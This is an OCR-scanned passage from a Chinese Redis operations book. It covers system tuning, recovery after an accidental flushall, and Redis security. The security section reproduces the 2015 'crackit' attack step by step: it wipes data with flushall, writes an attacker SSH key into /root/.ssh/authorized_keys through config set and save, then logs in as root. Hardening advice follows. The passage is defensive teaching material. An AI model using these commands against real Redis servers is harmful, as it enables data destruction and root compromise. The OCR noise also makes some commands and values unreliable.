对 于 Redis 所 在 的 服务 器 来 说 ， 可 以 将 所 有 Redis 的 o0om adj 设 置 为 最 低 
值 或 者 稍 小 的 值 ， 降 低 被 OOM killer 杀 掉 的 概率 : 


for redis pid in $(pgrep -f "redis-server") 
do 

echo -17 > /proc/${redis pid}/oom adj 
done 
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-有关 OOM killer 的 详细 细节 ， 可 以 参考 Linux 源 码 mm/oom kill.c 中 





oom badness 函 数 。 


:笔者 认为 oom adj 参数 只 能 起 到 辅助 作用 ， 合 理 地 规划 内 存 更 为 重要 。 





型 


' 通 利 在 高 可 用 情况 下 ， 被 杀 掉 比 僵 死 更 好 ， 因 此 不 要 过 多 依赖 oom adj 
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配置 。 
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12.1.5 使 用 NTP 


NTP (Network Time Protocol， 网 络 时 间 协 议 ) 是 一 种 保证 不 同 机 器 时 
钟 一 致 性 的 服务 。 我 们 知道 像 Redis Sentinel 和 Redis Cluster 这 两 种 功能 需要 
多 个 Redis 节 点 的 类 型 ， 可 能 会 涉及 多 台 服 务 妖 。 虽 然 Redis 并 没有 对 多 个 服 
务 器 的 时 钟 有 严格 要 求 ， 但 是 假如 多 个 Redis 实 例 所 在 的 服务 器 时 钟 不 一 
致 ， 对 于 一 些 异常 情况 的 日 志 排 查 是 非常 困难 的 ， 例 如 Redis Cluster 的 故障 
转移 ， 如 果 日 志 时 间 不 一 致 ， 对 于 我 们 排查 问题 带 来 很 大 的 困扰 ( 注 : 但 不 
会 影响 集群 功能 ， 集 群 节点 依赖 各 自 时 钟 ) 。 一 般 公 司 里 都 会 有 NTP 服 务 用 
来 提供 标准 时 间 服 务 ， 从 而 达到 纠正 时 钟 的 效果 (如 图 12-1 所 示 )〉 ， 为 此 我 
们 可 以 每 天 定时 去 同步 一 次 系统 时 间 ， 从 而 使 得 集群 中 的 时 间 保 持 统一 。 





图 12-1 NTP 服 务 示意 图 





例如 每 小 时 的 同步 1 次 NTP 服 务 : 
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0 * * * * /usr/sbin/ntpdate ntp.xx.com > /dev/null 2>&1 


一 
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12.1.6 ulimit 


在 Linux 中 ， 可 以 通过 ulimit 查 看 和 设置 系统 当前 用 户 进 程 的 资源 数 。 其 
中 ulimit-a 命 令 包 含 的 open files 参 数 ， 是 单个 用 户 同 时 打开 的 最 大 文件 个 数 : 





# Li a 


max locked memory (kbytes, -1) 64 

max memory size (kbytes, -m) unlimited 
open files (-n) 1024 
pipe size (512 bytes, -p) 8.. 





Redis 允 许 同 时 有 多 个 客户 端 通过 网 络 进行 连接 ， 可 以 通过 配置 
maxclients 来 限制 最 大 客户 端 连接 数 。 对 Linux 操 作 系 统 来 说 ， 这 些 网 络 连接 
都 是 文件 句柄 。 假 设 当前 open files 是 4096， 那 么 启动 Redis 时 会 看 到 如 下 日 


= 


DA 





# You requested maxclients of 10000 requiring at least 10032 max file descripto 

# Redis can’t set maximum open files to 10032 because of OS error: Operation not 

# Current maximum open files is 4096. Maxclients has been reduced to 4064 to col 
for low ulimit. If you need higher maxclients increase ‘ulimit -n’. 





日 志 解 释 如 下 : 


一 行 ， Redis 建 议 把 open files 至 少 设置 成 10032， 那 么 这 个 10032 是 如 
何 来 的 呢 ? 因为 maxclients 默 认 是 10000， 这 些 是 用 来 处 理 客户 端 连接 的 ， 除 
此 之 外 ，Redis 内 部 会 使 用 最 多 32 个 文件 描述 符 ， 所 以 这 里 的 
10032=10000+32。 


:第 二 行 : Redis 不 能 将 open files 设 置 成 10032， 因 为 它 没 有 权限 设置 。 


.第 三 行 : 当前 系统 的 open files 是 4096， 所 以 将 maxclients 设 置 成 4096- 
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32=4064 人 个， 如 果 你 想 设置 更 高 的 maxclients， 请 使 用 ulimitn 来 设置 。 


从 上 面 的 三 行 日 志 分 析 可 以 看 出 open files 的 限制 优先 级 比 maxclients 





和 


Open files 的 设置 方法 如 下 : 





ulimit -Sn {max-open-files} 
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12.1.7 TCP backlog 


Redis 默 认 的 tcp-backlog 值 为 511， 可 以 通过 修改 配置 tcp-backlog 进 行 调 
整 ， 如 果 Linux 的 tcp-backlog 小 于 Redis 设 置 的 tcp-backlog， 那 么 在 Redis 启 动 
时 会 看 到 如 下 日 志 : 





# WARNING: The TCP backlog setting of 511 cannot b nforced because /proc/sys/ 
net/core/somaxconn is set to the lower value of 128. 








查看 方法 : 





# cat /proc/sys/net/core/somaxconn 
128 





修改 方法 : 





echo 511 > /proc/sys/net/core/somaxconn 
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12.2 flushalyflushdb 误 操作 


Redis 的 flushall/flushdb 命 令 可 以 做 数据 清除 ， 对 于 Redis 的 开发 和 运 维 人 
员 有 一 定 帮助 ， 然 而 一 旦 误 操 作 ， 它 的 破坏 性 也 是 很 明显 的 。 怎 么 才能 快速 
恢复 数据 ， 让 损失 达到 最 小 呢 ? 本 节 我 们 将 结合 之 前 学 习 的 Redis 相 关 知 识 
进行 分 析 ， 最 后 给 出 一 个 合理 的 方案 。 


Os 


A 


为 了 方便 说 明 ， 下 文中 除了 AOF 文 件 中 的 flushall/flushdb 以 外 ， 其 他 所 
有 的 flushall/flushdb 都 用 flush 代 替 。 


假设 进行 flush 操 作 的 Redis 是 一 对 主 从 结构 的 主 节点 ， 其 中 键 值 对 的 个 
数 是 100 万 ， 每 秒 写 入 量 是 1000。 
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12.2.1 缓存 与 存储 








被 误 操 作 flush 后 ， 根 据 当 前 Redis 是 缓存 还 是 存储 使 用 策略 有 所 不 同 : 


` 绥 存 : 对 于 业务 数据 的 正确 性 可 能 造成 损失 还 小 一 点 ， 因 为 缓存 中 的 
数据 可 以 从 数据 源 重新 进行 构建 ， 但 是 在 第 11 半 介绍 了 缓存 雪 朋 和 绥 存 穿 透 
的 相关 知识 ， 当 前 场景 也 有 类 似 的 地 方 ， 如 果 业 务 方 并 发 量 很 大 ， 可 能 会 对 
后 端 数据 源 造 成 一 定 的 负载 压力 ， 这 个 问题 也 是 不 容 忽视 。 











存储 : 对 业务 方 可 能 会 造成 巨大 的 影响 ， 也 许 ftush 操 作 后 的 数据 是 重 
要 配置 ， 也 可 能 是 一 些 基 础 数据 ， 也 可 能 是 业务 上 的 重要 一 环 ， 如 有 果 没 有 提 
前 做 业务 降级 操作 ， 那 么 最 终 反 馈 到 用 户 的 应 用 可 能 束 是 报错 或 者 空白 页 面 
等 ， 其 后 果 不 堪 设想 。 即 使 做 了 相应 的 降级 或 者 容错 处 理 ， 对 于 用 户 体验 也 
有 


一 定 的 影响 。 








所 以 Redis 无 论 作 为 缓存 还 是 作为 存储 ， 如 何 能 在 flush 操 作 后 快速 恢复 
数据 才 是 至 关 重 要 的 。 持 久 化 文件 肯定 是 恢复 数据 的 媒介 ， 下 面 两 个 小 节 将 
对 AOF 和 RDB 文 件 进 行 分 析 。 
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12.2.2 ”借助 AOF 机 制 恢复 





Redis 执 行 了 flush 操 作 后 ，AOF 持 和 久 化 文件 会 受到 什么 影响 昵 ? 如 下 所 





-appendonly no: 对 AOF 持 和 久 化 没有 任何 影响 ， 因 为 根本 就 不 存在 AOF 文 
人 


appendonly yes: 只 不 过 是 在 AOF 文 件 中 追加 了 一 条 记录 ， 例 如 下 面 就 
是 AOF 文 件 中 的 flush 操 作 记 录 : 





太 | 
$8 
flushall 





虽然 Redis 中 的 数据 被 清除 掉 了 ， 但 是 AOFE 文 件 还 保存 着 ftush 操 作 之 前 
完整 的 数据 ， 这 对 恢复 数据 是 很 有 帮助 的 。 注 意 问 题 如 下 : 














1) 如 果 发 生 了 AOF 重 写 ，Redis 衣 历 所 有 数据 库 重新 生成 AOF 文 件 ， 并 
会 覆盖 之 前 的 AOF 文 件 。 所 以 如 果 AOF 重 写 发 生 了 ， 也 就 意味 着 之 前 的 数据 
就 丢掉 了 ， 那 么 利用 AOF 文 件 来 恢复 的 办 法 就 失效 了 。 所 以 当 误 操作 后 ， 需 
要 考虑 如 下 两 件 事 。 


: 调 大 AOF 重 写 参 数 auto-aof-rewrite-percentage 和 auto-aof-rewrite-min- 


size， 让 Redis 不 能 产生 AOF 自 动 重 写 。 
:拒绝 手动 bgrewriteaof。 
2) 如 果 要 用 AOF 文 件 进行 数据 恢复 ， 那 么 必须 要 将 AOF 文 件 中 的 
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flushall 相 关 操作 去 掉 ， 为 了 更 加 安全 ， 可 以 在 去 掉 之 后 使 用 redis-check-aof 
这 个 工具 去 检验 和 修复 一 下 AOF 文 件 ， 确 保 AOF 文 件 格 式 正 确 ， 保 证 数据 恢 
复 正 党 3 
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12.2.3 RDB 有 什么 变化 


Redis 执 行 了 flushall 操 作 后 ，RDB 持 和 久 化 文件 会 受到 什么 影响 呢 ? 





1) 如 果 没 有 开启 RDB 的 目 动 策略 ， 也 就 是 配置 文件 中 没有 类 似 如 下 配 
置 : 
save 900 1 


save 300 10 
save 60 10000 


那么 除非 手动 执行 过 save、bsgsave 或 者 发 生 了 主 从 的 全 量 复制 ， 人 否则 
RDB 文 件 也 会 保存 ftush 操 作 之 前 的 数据 ， 可 以 作为 恢复 数据 的 数据 源 。 注 意 
问题 如 下 : 


:防止 手动 执行 Save、bgsave， 如 果 此 时 执行 Save、bgsave， 新 的 RDB 文 
件 就 不 会 包含 flush 操 作 之 前 的 数据 ， 被 老 的 RDB 文 件 进行 和 覆盖 。 

:RDB 文件 中 的 数据 可 能 没有 AOF 实 时 性 高 ， 也 就 是 说 ，RDB 文 件 很 可 
能 很 久 以 前 主 从 全 量 复 制 生成 的 ， 或 者 之 前 用 save、bsgsave 备 份 的 。 


2) 如 果 开 局 了 RDB 的 自动 朱 略 ， 由 于 flush 涉 及 键 值 数量 较 多 ，RDB 文 
件 会 被 清除 ， 意 味 痢 使 用 RDB 恢 复 基 本 无 望 。 





综 上 所 述 ， 如 果 AOF 己 经 开启 了， 那么 用 AOF 来 恢复 是 比较 合理 的 方 
式 ， 但 是 如 果 AOF 关 闭 了 ， 那 么 RDB 虽 然 数据 不 是 很 实时 ， 但 是 也 能 恢复 部 
分 数据 ， 完 全 取决 于 RDB 是 什么 时 候 备 份 的。 当然 RDB 并 不 是 一 无 是 处 ， 它 
的 恢复 速度 要 比 AOF 快 很 多 ， 但 是 总 体 来 说 对 于 flush 操 作 之 后 不 是 最 好 的 恢 
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复数 据 源 。 
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12.2.4 从 节点 有 什么 变化 


Redis 从 节点 同步 了 主 节点 的 flush 命 令 ， 所 以 从 节点 的 数据 也 是 被 清除 
了 ， 从 节点 的 RDB 和 AOF 的 变化 与 主 节 点 没有 任何 区 别 。 
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12.2.5 ”快速 恢复 数据 


下 面 使 用 AOF 作 为 数据 源 进行 恢复 演练 。 


1) 防止 AOF 重 写 。 人 快速 修改 Redis 主 从 的 auto-aofrewrite-percentage 和 
auto-aof-rewrite-min-size 变 为 一 个 很 大 的 值 ， 从 而 防止 了 AOF 重 写 的 发 生 ， 
例如 : 


config set auto-aof-rewrite-percentage 1000 
config set auto-aof-rewrite-min-size 100000000000 





2) 去 掉 主 从 AOF 文 件 中 的 flush 相 关内 容 : 


$8 
flushall 


3) 重启 Redis 主 节点 服务 器 ， 恢 复数 据 。 


本 市 通过 flush 误 操作 的 数据 恢复 ， 重 新 梳理 了 持久 化 、 复 制 的 相关 知 
识 ， 这 里 建议 运 维 人 员 提 前 准备 shell 脚 本 或 者 其 他 自动 化 的 方式 处 理 ， 因 为 
故障 不 等 人 ， 对 于 fush 这 样 的 危险 操作 ， 应 该 通过 有 效 的 方式 进行 规避 ， 下 


节 将 介绍 具体 的 方法 。 
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12.3 ”安全 的 Redis 


2015 年 11 月 ， 全 球 数 万 个 Redis 节 点 遭受 到 了 攻击 ， 所 有 数据 都 被 清除 
了 ， 只 有 一 个 叫 crackit 的 键 存 在 ， 这 个 键 的 值 很 像 一 个 公 钥 ， 如 下 所 示 。 





127.0.0.1:6379> get crackit 

"\n\n\nssh-rsa AAAAB3NzaClyc2EAAAABIwAAAQEASsSGWAOHYwBCNAkPaGZ565wPQOOAP3K7zrf2v9p 
HPSqW+n8WqsbS+xNpvvcgeNT/fYYbnkUitl1lRUiMCzs5FUSIl1LRthwt4yvpMMbNnNnEX6J/O0W/Onl 
PgzrzZYflP/cnYzEegKlcXHJ2Al1RkuUKNPNMr+EkZVyxOJNLY+MB2kxV2838z4U0ZamlPEgzy+ZzZA+ 
OJLTUSf£j51fPOXL2JrQOGLPANID73MvNROTA4LGiyUNMcLt+/Tvrv/DtWhbo3sduL69q/2Dj]3VDOxG 
ll1kTNAzZzdj+jOAl1Jg1 SH53Va34KqIAh2n0Ic+t+3y7leXV+WOouUCwkYrDiqqxaGZ7KKmPUjeHTLUENT 
== root@zw xx 192\n\n\n\n" 






































数据 丢失 对 于 很 多 Redis 的 开发 者 来 说 是 致命 的 ， 经 过 相关 机 构 的 调查 
发 现 ， 被 攻击 的 Redis 有 如 下 特点 : 


Redis 所 在 的 机 器 有 外 网 人 P。 

Redis 以 默认 问 口 6379 为 启动 端口 ， 并 且 是 对 外 网 开放 的 。 
:Redis 是 以 root 用 户 启动 的 。 

“Redis 没 有 设置 密码 。 

Redis 的 bind 设 置 为 0.0.0.0 或 者 ""。 


攻击 者 充分 利用 Redis 的 dir 和 dbfilename 两 个 配置 可 以 使 用 config se 动态 
设置 ， 以 及 RDB 持 久 化 的 特性 ， 将 自己 的 公 钥 写 入 到 目标 机 器 
的 /root/.ssh/authotrized_keys 文 件 中 ， 从 而 实现 了 对 目标 机 器 的 攻陷 。 攻 击 过 
程 如 图 12-2 所 示 。 





733 


te re 


攻击 机 器 A ssh root l 所 被 了 攻 去 机 器 且 2 网 
, flushall 元 秘 


,Set crackit id_rsa.pub 


root 局 动 


] 
2 
3， config set dir 
4, config set dbfilename 
9 


小 SaVC 
bind 0.0.0,0 


ssh root 了 
10.10.xx.192 ee 123.16.xx.182 端口 无 限制 


一 








图 12-2 ”Redis crackit 攻 击 过 程 和 条 件 


机 器 A 是 攻击 者 的 机 器 (内 网 全 : 10.10.xx.192) ， 机 器 B 是 被 攻击 者 机 
器 《〈 外 网 卫 : 123.16.xx.182) ， 上 面部 署 着 一 个 满足 上 述 五 个 特性 的 Redis， 
下 面 我 们 来 模拟 整个 攻击 过 程 。 


1) 首先 确认 当前 (攻击 前 ) 机 器 A 不 能 通过 SSH 访 问 机 器 B， 因 为 没有 
权限 : 





#ssh root@123.16.xx.182 
root@123.16.xx.182's password: 








2) 由 于 机 器 B 的 外 网 对 外 开通 了 Redis 的 6379 端 口 ， 所 以 可 以 直接 连接 
到 Redis 上 执行 flushall 操 作 ， 注 意 此 时 破坏 性 就 已 经 很 大 了 ， 如 下 所 示 : 





#redis-cli -hn 123.16.xx.182 -p 6379 ping 
PONG 
#redis-cli -hn 123.16.xx.182 -p 6379 flushall 
OK 
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3) 在 机 器 A 生成 公 钥 ， 并 将 公 钥 保存 到 一 个 文件 my.pub 中 : 





# cd /root 

# ssh-keygen -t rsa 

# (echo -e "\n\n"; cat /root/.ssh/id rsa.pub; echo -e "\n\n") > my.pub 

# cat my.pub 

ssh-rsa AAAAB3NzaClyc2EAAAABIwAAAOQOEASGWAOHYwBCNAkPaGZ565wPQOOAP3K7zrf2v9PpPHPSIqW+nN 
8WqsbS+xNpvvcgeNT/fYYbnkUit1l1lRUiMCzs5FUSIl1LRthwt4yvpMMPNNnEX6J/O0W/OnlqPgzrzY 
fljP/cnYzEegKlcXHJ2Al1RkuUKNPNMr+EkZVyxOJNLY+MB2kxVZ2838z4U0ZamlPEgzy+ZA+OFOJLT 
5fj51fPOXL2JrQOGLbANID73MvYNROTALGiYyUNMcLt+/Tvrv/DtWbo3sduL69q/2Dj3VDOxGD11 kT. 
+jOAl1Jg1SH53Va34KqIAh2n0Ic+t+3y7leXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUENT5Q== root 



































4) 将 键 crackit 的 值 设 置 为 公 钥 。 





cat my.pub | redis-cli -h 123.16.xx.182 -p 6379 -x set crackit 

OK 

redis-cli -hn 123.16.xx.182 -p 6379 get crackit 

"\n\n\nssh-rsa AAAAB3NzaClyc2EAAAABIwAAAQEAsSGWAOHYwBCNAkKPaGZ565wPQOOAP3K7zrf2v9p 
SqW+n8WqsbS+xNpvvcgeNT/fYYbnkUit1l1lRUiMCzs5FUSIl1LRthwt4yvpMMbNNnEX6J/O0W/OnlagP 
rzYflP/cnYzEegKlcXHJ2Al1RKuUkNPhNMr+EKZVyxXOoJNLY+MB2kxV2838z4U0ZamlPEgzy+zAt+oF0 

LTUSf£j51fPOXL2JrQOOGLbA4NnID73MvNROT4LGiyUNMcLt+/Tvrv/DtWbo3sduL6q/2Dj3VDOxGD1 

TNAZdj+jOAl1Jgl1SH53Va34KqIAh2n0Ic+3y7leXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUENTS5O 

== root@zw 94 190\n\n\n\n" 



































~ 








5) 将 Redis 的 dir 设 置 为 /root/.ssh 目 录 ，dbfilename 设 置 为 
authorized keys， 执 行 save 命 令 生 成 RDB 文 件 ， 如 下 所 示 : 





123.16.xx.182:6379> config set dir /root/.ssh 

OK 

123.16.xx.182:6379> config set dbfilename authorized keys 
OK 

123.16.xx.182:6379> save 

OK 





此 时 机 右 B 的 /root/.ssh/authorized keys 包 含 了 攻击 者 的 公 钥 ， 之 后 攻击 者 
就 可 以 “为 所 欲 为 "了 。 


6) 此 时 机 器 A 再 通过 SSH 协 议 访问 机 器 B， 发 现 可 以 顺利 登录 : 





[Gezw 94 190 ~]# ssh root@123.16.xx.182 
Last login: Mon Sep 19 08:42:55 2016 from 10.10.xx.192 
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登录 后 可 以 观察 /root/.ssh/authorized keys， 可 以 发 现 它 就 是 RDB 文 件 : 





#cat /root/.ssh/authorized keys 
REDISO006tcrackitA 





ssh-rsa AAAAB3NzaClyc2EAAAABIwAAAOQOEASGWAOHYwBCNAkPaGZ565wPQOOAP3K7zrf2v9PHPSIqW+ 
8WqsbS+xNpvvcgeNT/fYYbnkUit1l1lRUiMCzs5FUSIl1LRthwt4yvpMMPNNnEX6J/O0W/OnlqPgzrzY 
flP/cnYzEegKlcXHJ2Al]RkUKNPNMr+EkZVyXOoJNLY+MB2kxV2838z4U0ZamlPEgzyt+zA+oF0OJLT 
LN. 














£j51fPOXL2JrQOGLbANID73MvNROTALGiyUNMcLEt+/Tvrv/DtWbo3sduL69q/2Dj3VDOxGD11KkI1 
zdj+jOAl1Jgl1SH53Va34KqIAh2n0Ic+3y7leXV+WouCwkYrDiqqxaGZ7KKmPUjeHTLUENTS5Q== 
QZzw xx 192 




















n 


荆 ， 





谁 也 不 想 目 己 的 Redis 以 及 机 器 就 这 样 被 攻击 吧 ? 本 节 我 们 来 将 介绍 如 
何 让 Redis 足 够 安全 。 


Redis 的 设计 目标 是 一 个 在 内 网 运行 的 轻 量 级 高 性 能 键 值 服务 ， 因 为 是 

在 内 网 运行 ， 所 以 对 于 安全 方面 没有 做 太 多 的 工作 ，Redis 只 提供 了 简单 的 

密码 机 制 ， 并 且 没 有 做 用 户 权 限 的 相关 划分 。 那 么 ， 在 日 党 对 于 Redis 的 开 
发 和 运 维 中 要 注意 哪些 方面 才能 让 Redis 服 务 不 仅 能 提供 高 效 稳定 的 服务 ， 
能 保证 在 一 个 足够 安全 的 网 络 环境 下 运行 呢 ? 下 面 将 从 7 个 方面 进行 介 








绍 


O 
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12.3.1 Redis 密 码 机 制 


1. 简 单 的 密码 机 制 


0 密码 功能 ， 如 果 添 加 这 个 配 
置 ， 客 户 端 就 不 能 通过 redis-cli-hfip}-pfport} 来 执行 命令 。 例 如 下 面 局 动 一 
个 密码 为 hello redis_devops 的 Redis: 











redis-server --requirepass hello redis devops 





此 时 通过 redis-cli 执 行 命令 会 收 到 没有 权限 的 提示 : 





# redis-cli 
127:0.0.186379> ping 
(error) NOAUTH Authentication required. 








Redis 提 供 了 两 种 方式 访问 配置 了 密码 的 Redis: 


redis-cli-a 参 数 。 使 用 redis-cli 连 接 Redis 时 ， 添 加 -a 加 密码 的 参数 ， 如 
果 密 码 正确 就 可 以 正常 访问 Redis 了 ， 具 体操 作 如 下 : 








# redis-cli -h 127.0.0.1 -p 6379 -a hello redis devops 
127.0.0.1:6379> ping 
PONG 





“auth 命 令 。 通 过 redis-cli 连 接 后 ， 执 行 auth 加 密码 命令 ， 如 果 密 码 正 确 就 
可 以 正常 访问 访问 Redis 了， 具体 操作 如 下 : 





# redis-cli 

127.0.0.1:6379> auth hello redis devops 
OK 

1271:0.0.1:6379> ping 

PONG 
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2. 运 维 建议 


这 种 密码 机 制 能 在 一 定 程 度 上 保护 Redis 的 安全 ， 但 是 在 使 用 requirepass 
时 候 要 注意 一 下 几 点 : 





:密码 要 足够 复杂 (64 个 字 节 以 上 ) ， 因 为 Redis 的 性 能 很 高 ， 如 果 密 码 
比较 简单 ， 完 全 是 可 以 在 一 段 时 间 内 通过 暴力 破解 来 破译 密码 。 


如果 是 主 从 结构 的 Redis， 不 要 瑟 记 在 从 节点 的 配置 中 加 入 
masterauth (master 的 密码 ) 配置 ， 人 否则 会 造成 主 从 节点 同步 失效 。 





:auth 是 通过 明文 进行 传输 的 ， 所 以 也 不 是 100% 可 靠 ， 如 果 被 攻击 者 劫 
持 也 相当 危险 。 
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12.3.2 ”伪装 危险 命令 
1. 引 入 rename-command 


Redis 中 包含 了 很 多 “危险 "的 命令 ， 一 旦 错误 使 用 或 者 误 操 作 ， 后 果 不 
堪 设 想 ， 例 如 如 下 命令 : 





keys: 如 果 键 值 较 多 ， 存 在 阻 压 Redis 的 可 能 性 。 


-flushall/flushdb: 数据 全 部 被 清除 。 





“save: 如 有 果 键 值 较 多 ， 存 在 阻 至 Redis 的 可 能 性 。 
.debug: 例如 debug reload 会 重启 Redis。 

config: config 应 该 交 给 管理 员 使 用 。 

.Shutdown: 停止 Redis 。 


理论 上 这 些 命令 不 应 该 给 普通 开发 人 员 使 用 ， 那 有 没有 什么 好 的 方法 能 
够 防止 这 些 危险 的 命令 被 随意 执行 昵 ? Redis 提 供 了 rename-command 配 置 解 
决 这 个 问题 。 下 面 直接 用 一 个 例子 说 明 rename-command 的 作用 。 例 如 当前 
Redis 包 含 10000 个 键 值 对 ， 现 使 用 flushall 将 全 部 数据 清除 : 





L2001:6379> flLushall 
OK 





例如 Redis 添 加 如 下 配置 : 





rename-command flushall jlikfjalijl13i4j13jql134] 
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那么 再 执行 flushall 命 令 的 话 ， 会 收 到 Redis 不 认识 flushall 的 错误 提示 ， 
说 明 我 们 成 功 地 用 rename-command 对 flushall 命 令 做 了 伪装 : 





127:0.0,1:06379> £1lushall 
(error) ERR unknown command ‘flushall’ 








而 如 果 执 行 jikfjalijl3i4j13jql34《〈 随 机 字符 串 ) ， 那 么 就 可 以 实现 
flushall 的 功能 了 ， 这 就 是 rename-command 的 作用 ， 管 理 员 可 以 对 认为 比较 危 


险 的 命令 做 rename-command 处 理 : 





127.0.0.1:6379> jlLikfjalijl314j13jq134]j 
OK 








2. 没 有 免费 的 午餐 


rename-command 虽 然 对 Redis 的 安全 有 一 定 帮 助 ， 但 是 天 下 并 没有 免费 
的 午餐 。 使 用 了 rename-command 时 可 能 会 带 来 如 下 麻烦 : 





:管理 员 要 对 自己 的 客户 端 进 行 修改 ， 例 如 jedis.flushall() 操作 内 部 使 
用 的 是 flushall 命 令 ， 如 果 用 rename-command 后 需要 修改 为 新 的 命令 ， 有 一 定 


的 开发 和 维护 成 本 。 





:rename-command 配 置 不 支持 config set， 所 以 在 启动 前 一 定 要 确定 哪些 


命令 需要 使 用 rename-command。 


:如 果 AOF 和 RDB 文 件 包 含 了 rename-command 之 前 的 命令 ，Redis 将 无 法 
启动 ， 因 为 此 时 它 识别 不 了 rename-command 之 前 的 命令 。 


:Redis 源 码 中 有 一 些 命令 是 写 死 的 ，rename-command 可 能 造成 Redis 无 法 
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正常 工作 。 例 如 Sentinel 节 点 在 修改 配置 时 直接 使 用 了 config 命 令 ， 如 果 对 
config 使 用 rename-command， 会 造成 Redis Sentinel 无 法 正常 工作 。 


3. 最 佳 实践 





在 使 用 rename-command 的 相关 配置 时 ， 需 要 注意 以 下 几 点 : 





.对 于 一 些 危 险 的 命令 〈 例 如 flushall) ， 不 管 是 内 网 还 是 外 网 ， 一 律 使 


用 rename-command 配 置 


.建议 第 一 次 配置 Redis 时 ， 就 应 该 配 置 rename-command， 因 为 rename- 


command 不 文 持 config set。 


如果 涉及 主 从 关系 ， 一 定 要 保持 主 从 市 点 配置 的 一 臻 性， 否则 存在 主 
从 数据 不 一 致 的 可 能 性 。 
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12.3.3 ”防火 墙 


可 以 使 用 防火 墙 限 制 输入 和 输出 的 卫 或 者 耳 范 围 、 端 口 或 者 端口 范围 ， 
在 比较 成 熟 的 公司 都 会 对 有 外 网 他 的 服务 器 做 一 些 端口 的 限制 ， 例 如 只 允许 
80 端 口 对 外 开放 。 因 为 一 般 来 说 ， 开 放 外 网 他 的 服务 器 中 Web 服 务 器 比较 
多 ， 但 通常 存储 服务 器 的 端口 无 需 对 外 开放 ， 防 火 墙 是 一 个 限制 外 网 访问 
Redis 的 必 杀 技 。 
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12.3.4 bmd 


] . 对 于 bind 的 外 音 误 认识 


很 多 开发 者 在 一 开始 看 到 bind 的 这 个 配置 时 都 是 这 么 认为 的 : 指定 
Redis 只 接收 来 目 于 茶 个 网 段 卫 的 客户 端 请 求 。 





但 事实 上 bind 指 定 的 是 Redis 和 哪个 网 卡 进 行 绑 定 ， 和 客户 问 是 什么 网 
段 没 有 关系 。 例 如 使 用 ionfig 命 令 获 取 当 前 网 卡 信息 如 下 : 





eth0 Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:02 
inet addr:L0,.10..xX192. Boastsl0;L10.%%255 Mask 2552255725520 





etnl Link encap:Ethernet Hwaddr 90:B1:1C:0B:18:03 
inet addr:220.181 .xx.123 Bcast:220.181 .xx.255 Mask:255.255.255.0 


lo Link encap:Local Loopback 
inet addr:127.0.0.1 Mask:255.0.0.0 








包含 了 三 个 PP 地 址 : 
.内 网 地 址 : 10.10.xx.192 
-外 网 地 址 : 220.181.xx.123 
:回环 地 址 :127.0.0.1 


如 果 当 前 Redis 配 置 了 bind10.10.xx.192， 那 么 Redis 访 问 只 能 通过 
10.10.xx.192 这 块 网 卡 进 入 ， 通 过 redis-cli-h220.181.xx.123-p6379 和 本 机 redis- 
cli-h127.0.0.1-p6379 都 无 法 连接 到 Redis。 会 收 到 如 下 操作 提示 : 





# redis-cli -hn 220.181.xx.123 -p 6379 
Could not connect to Redis at 220.181 .xx.123:6379: Connection refused 
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只 能 通过 10.10.xx.192 作 为 redis-cli 的 参数 : 





# redis-cli -h 10.10.xx.192 
10.10.xXX.192:;6379> ping 
PONG 





bind 参 数 可 以 设置 多 个 ， 例 如 下 面 的 配置 表示 当前 Redis 只 接受 来 自 
10.10.xx.192 和 127.0.0.1 的 网 络 流量 : 





Birnid 10,10,.Xx.192 127.0.0,1 


© nn 


Redis3.0 中 bind 默 认 值 为 ”， 也 就 是 不 限制 网 卡 的 访问 ， 但 是 在 Redis3.2 
中 必须 显示 的 配置 bind0.0.0.0 才 可 以 达到 这 种 效果 。 





2. 建 议 





经 过 上 面 的 实验 以 及 对 于 bind 的 认识 ， 可 以 得 出 如 下 结论 : 


:如 果 机 器 有 外 网 PP， 但 部 署 的 Redis 是 给 内 部 使 用 的 ， 建 议 去 掉 外 网 网 
卡 或 者 使 用 bind 配 置 限制 流量 从 外 网 进入 。 


如果 客户 端 和 Redis 部 贰 在 一 台 服 务 右 上 ， 可 以 使 用 回环 地 址 
(127.0.0.1) 。 





bind 配置 不 文 持 config set， 所 以 尽 可 能 在 第 一 次 启动 前 配置 好 。 


Redis3.2 提 供 了 protected-mode 配 置 ( 上 默认 开启 〉， 它 的 含义 可 以 用 如 下 
伪 代 码 解 释 。 
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if (protected-mode && !redquirepass && !bind) { 
Allow only 127.0.0.1,::1 or socket connections 
Deny (with the long message ever!) others 





如 果 当 前 Redis 没 有 配置 密码 ， 没 有 配置 bind， 那 么 只 允许 来 自 本 机 的 
访问 ， 也 就 是 相当 于 配置 了 bind127.0.0.1。 
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12.3.5 定期 备份 数据 





天 有 不 测 风云 ， 假 如 有 一 天 Redis 真 的 被 攻击 了 (清理 了 数据 ， 关 闭 了 
进程 》， 那 么 定期 备份 的 数据 能 够 在 一 定 程度 挽回 一 些 损 失 ， 定 期 备份 持久 
化 数据 是 一 个 比较 好 的 习惯 。 
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12.3.6 ”不 使 用 默认 端口 


Redis 的 默认 端口 是 6379， 不 使 用 默认 端口 从 一 定 程度 上 可 降低 被 入 侵 
者 发 现 的 可 能 性 ， 因 为 入 侵 者 通常 本 身 也 是 一 些 攻击 程序 ， 对 目标 服务 器 进 
行 端口 扫描 ， 例 如 MySQL 的 默认 端口 3306、Memcache 的 默认 端口 11211、 
Jetty 的 默认 端口 8080 等 都 会 被 设置 成 攻击 目标 ，Redis 作 为 一 款 较为 知名 的 
NoSQL 服 务 ，6379 必 然 也 在 端口 扫描 的 列表 中 ， 虽 然 不 设置 默认 端口 还 是 有 
可 能 被 攻击 者 入 侵 ， 但 是 能 够 在 一 定 程度 上 降低 被 攻击 的 概率 。 
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12.3.7 ”使 用 非 root 用 户 局 动 





root 用 户 作 为 管理 员 ， 权 限 非常 大 。 如 果 被 入 侵 者 获取 root 权 限 后 ， 就 
可 以 在 这 台 机 器 以 及 相关 机 器 上 “为 所 欲 为 * 了 。 笔 者 建议 在 启动 Redis 服 务 
的 时 候 使 用 非 root 用 户 启动 。 事 实 上 许多 服务 ， 例 如 Resin、Jetty、HBase、 
Hadoop 都 建议 使 用 非 root 启 动 。 


770 


12.4 ”处 理 bigkey 


bigkey 是 指 key 对 应 的 value 所 占 的 内 存 空间 比较 大 ， 例 如 一 个 字符 串 类 
型 的 value 可 以 最 大 存 到 512MB， 一 个 列表 类 型 的 value 最 多 可 以 存储 232-1 个 
